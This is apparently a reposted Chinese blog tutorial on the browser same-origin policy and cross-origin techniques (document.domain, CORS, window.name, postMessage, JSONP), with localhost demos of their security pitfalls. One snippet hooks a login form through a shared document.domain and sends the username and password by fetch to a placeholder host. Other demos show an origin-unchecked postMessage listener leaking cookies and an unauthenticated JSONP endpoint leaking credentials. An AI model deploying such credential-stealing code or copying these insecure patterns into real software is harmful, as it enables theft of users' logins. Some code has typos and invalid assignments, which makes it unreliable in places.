同源策略及跨域产生的安全问题

      同源策略:同源策略是浏览器的一个安全功能,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。所以a.com下的js脚本采用ajax读取b.com里面的文件数据是会报错。

举一个最简单的例子:

  例如我现在在无意间(有可能是有意。。)点进去一个网站,例如xx影院,这个网站是携带木马病毒的,同时我在其他窗口也在浏览天猫商城,当我在天猫商城登陆支付宝的时候,xx影院携带的木马病毒就会跨页面盗取我的支付宝密码。这也就是为什么很多软件会推荐你下载他的专属app而不建议你在浏览器中使用该软件的原因。
以下特征被称之为同源:

       同源策略有两种限制,第一种是限制了不同源之间的请求交互,例如在使用XMLHttpRequest 或 fetch 函数时则会受到同源策略的约束。 第二个限制是浏览器中不同源的框架之间是不能进行js的交互操作的。比如通过iframe和window.open产生的不同源的窗口。这两种限制都有不同的解决方案,下面会讲解不同的解决方案和可能产生的安全问题。

     有一些情况是不受同源策略的限制的:

1、页面中的链接,重定向以及表单提交是不会受到同源策略限制的。
2、跨域资源的引入是可以的。但是js不能读写加载的内容。如嵌入到页面中的<script src="..."></script>,<img>,<link>,<iframe>等。

     跨域:

  • 什么是跨域
    受前面所讲的浏览器同源策略的影响,不是同源的脚本不能操作其他源下面的对象。想要操作另一个源下的对象是就需要跨域
  • 跨域的实现形式
    • 降域 document.domain
    同源策略认为域和子域属于不同的域,如:
    child1.a.com 与 a.com,
    child1.a.com 与 child2.a.com,
    xxx.child1.a.com 与 child1.a.com
    两两不同源,可以通过设置 document.damain='a.com',浏览器就会认为它们都是同一个源。想要实现以上任意两个页面之间的通信,两个页面必须都设置documen.damain='a.com'。
    此方式的特点:
    1. 只能在父域名与子域名之间使用,且将 xxx.child1.a.com域名设置为a.com后,不能再设置成child1.a.com。
    2. 存在安全性问题,当一个站点被攻击后,另一个站点会引起安全漏洞。
    3. 这种方法只适用于 Cookie 和 iframe 窗口。
  • CORS
    CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing)。
    它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。
    刚才的例子中,在b.com里面添加响应头声明允许a.com的访问,代码:
    Access-Control-Allow-Origin: http://a.com
    然后a.com就可以用ajax获取b.com里的数据了。
  • 模拟同源策略:

假设这里有一个aaa.hsy.com

<body>
    <div style="margin-left: 100px">
        <form method="POST" id='form'>
            用户名: <br/>
            <input id=username type="text" name="username">
            <br/>
            密码: <br/>
            <input id=password type="password" name="username">
            <br/>
            <input type="submit" value="提交">
    </div>
</body>
<!-- 下面设置为了模拟假设没有同源策略 -->         
<script>
    document.domain="hsy.com"
</script>

同时存在一个bbb.hsy.com

<script>
    document.domain = "hsy.com"
</script>
<iframe src="//aaa.hsy.com/login.php" id="iframe" width=100% height=100% frameborder=0> 
</iframe>

<script>
    var ifrw = document.getElementById('iframe').contentWindow;
    document.getElementById('iframe').onload = function(){
        ifrw.document.getElementById('form').onsubmit = function(){
            var username =  ifrw.document.getElementById('username').value;
            var password =  ifrw.document.getElementById('password').value;
            fetch('//xxx.xxx.xxx.xxx/?username='+username+'&'+'password='+password);
            }   
        }
</script>

在a页面中登陆的账号密码在b中也能被看到。

  • 跨域传输方式

    现在这里有两个php页面

1.php中插入代码

<html>
<body>
<iframe id="iframe" src="2.php"></iframe>
</body>
</html>

2.php中插入代码

<html>
<h1>hsy</h1>
</html>

效果:

介绍几种跨域方式:

   document.domain

1.php

<html>
<body>
<iframe id="iframe" src="2.php"></iframe>
<script>document.domain = http://localhost:63342/cors</script>
</body>
</html>

2.php

<html>
<h1>hsy</h1>
<script>document.domain = http://localhost:63342/cors</script>
</html>

在控制台中插入iframe语句。

运行后的效果:

在1.php中成功的执行了2.php的弹窗,实现了跨域的效果。

  • document.domain 只可以被设置为他的当前域或其当前域的父域,比如aaa.hsy.me可以设置document.domain为aaa.hsy.me 或 hsy.me,但是不能设置为aaa.hsy.com或者bbb.aaa.hsy.me

  • document.domain 的赋值操作会导致端口号被重写为NULL,所以 aaa.hsy.me 仅设置document.domain为hsy.me 并不能与hsy.me进行通信,hsy.me的页面也必须赋值一次使双方端口相同从而通过浏览器的同源检测。这么做的目的是,如果子域有XSS,那么他的父域都存在安全隐患

  • 设置document.domain并不会影响XMLHttpRequest 或 fetch的同源策略。

   通过修改window.domain元素:

  • window对象有个name属性,该属性有个特征:即在一个窗口(window)的生命周期内,窗口载入的所有的页面都是共享一个window.name的,每个页面对window.name都有读写的权限,window.name是持久存在一个窗口载入过的所有页面中的,并不会因新页面的载入而进行重置。

    举个例子,页面有个iframe,iframe中的页面为A,无论iframe中的页面A地址怎么更改,这个iframe对象都是共享同一个window.name,A页面设置window.name,再将iframe的src设置为B页面,B页面中的JS脚本可以读取到之前A页面设置的window.name,简而言之,window.name几乎不受同源策略的影响

在同一根目录下建立1.php,2.php,3.php

1.php

<html>
<body>
<iframe id="iframe" src="http://localhost:63342/cors/2.php"></iframe>
</body>
</html>

2.php

<html>
<h1>hsy</h1>
<script>
    window.name = "flag{this_is_flag}";
</script>
</html>

3.php

<script>
    alert(window.name);
</script>

执行1.php 在控制台中输入如下代码。

运行结果。

利用window.name依然可以实现跨域的请求。

原理:首先,我们访问iframe中的name属性,浏览器返回了跨域访问拒绝。但是我们通过设置iframe的src为3.php (3.php可以不与1.php同域),在iframe中的所有页面共享window.name。然后3.php中的脚本访问到不同源的页面2.php并获取到了window.name

   PostMessage

window.postMessage() 方法可以安全地实现跨源通信,被调用时,会在所有页面脚本执行完毕之后向目标窗口派发一个 MessageEvent 消息。 该函数的第一个参数为发送的消息,第二个参数是匹配发送给的窗口的url地址(可以使用*,代表无限制通配),若目标url和此参数不匹配,消息就不会被发送。被接受窗口则可以通过监听message事件来获取接受信息

例:子窗口向父窗口传递数据

1.php

<html>
<body>
<iframe id="iframe" src="http://localhost:63342/cors/2.php"></iframe>
<script>
    window.addEventListener('message',function (e) {
        alert(e.data);
    })
</script>
</body>
</html>

2.php

<html>
<script>
    parent.postMessage('I lov3 hsy','*');
</script>
</html>

运行1.php

可以看到利用post.Message将2.php中的代码放在了1.php中执行。

如果事件监听没有判断事件的来源,则会有很大的安全隐患,以下面为例

1.php

<?php
setcookie("flag","flag(i love hsy)");
?>

<iframe id="iframe" src="http://localhost:63342/cors/2.php"></iframe>
<h1 id="name"></h1>
<script>
    window.addEventListener('message',function (e) {
        document.getElementById('name').innerHTML=e.data;
    })
</script>

3.php

<iframe id="iframe" src="http://localhost:63342/cors/1.php"></iframe>

现在来执行3.php

并且在控制台中输入

运行:

弹出了我设定的cookie内容。当然cookie的内容不会这么简单的,正常的cookie就是你平时上网浏览的一些信息,还有登陆的一些账号密码,cookie在人们上网的时候就相当于身份证的作用,里面存储了大量的个人信息。

JSONP

上面讲过<script>标签可以跨域加载资源,但是返回内容如果不符合JS语法同样无法获取数据,JSONP则是通过返回符合JS语法的数据内容使资源能够跨域加载

1.php

<script>
    function echoData(data) {
        console.log("DATA:",data);
    }
</script>
<script src="http://localhost:63342/cors/2.php?func=echoData"></script>

2.php

<?php
header('Content-type:application/javascript');
$func = $_REQUEST['func'] ?? "func";
$data = '["aaa","bbb","ccc","ddd"]';
echo $func . "(" . $data . ")";
?>

运行1.php

1.php页面先设定好输出数据的函数,通过<script>标签请求2.php并带有函数名参数,2.php把数据当函数参数传入并根据函数名输出对应函数调用语句,1.php获得响应后自动调用函数即可获取数据

本来一个极其巧妙的数据传输方式,但如果配置有问题,则可能产生安全隐患,假如一个没有任何验证的JSONP接口,用来传输用户的敏感数据

 1.php

<script>
    function echoData(data) {
        alert("username: "+data.username+ "\n" + "password: "+data.password);
    }
</script>
<script src="http://localhost:63342/cors/2.php?func=echoData"></script>

2.php

<?php
header('Content-type:application/javascript');
$func = $_REQUEST['func'] ?? "func";
$data = "{'username':'hsy','password':'19900821'}";
echo $func . "(" . $data . ")";
?>

运行1php后会看到在2.php中设置好的用户名即密码。

主要的跨域原理就是上述的这些,当然现在平时上网的时候并不需要担心这个问题。因为大多数浏览器早已经规避了由同源而可能引发的安全问题。

猜你喜欢

转载自www.cnblogs.com/sylover/p/10766062.html
今日推荐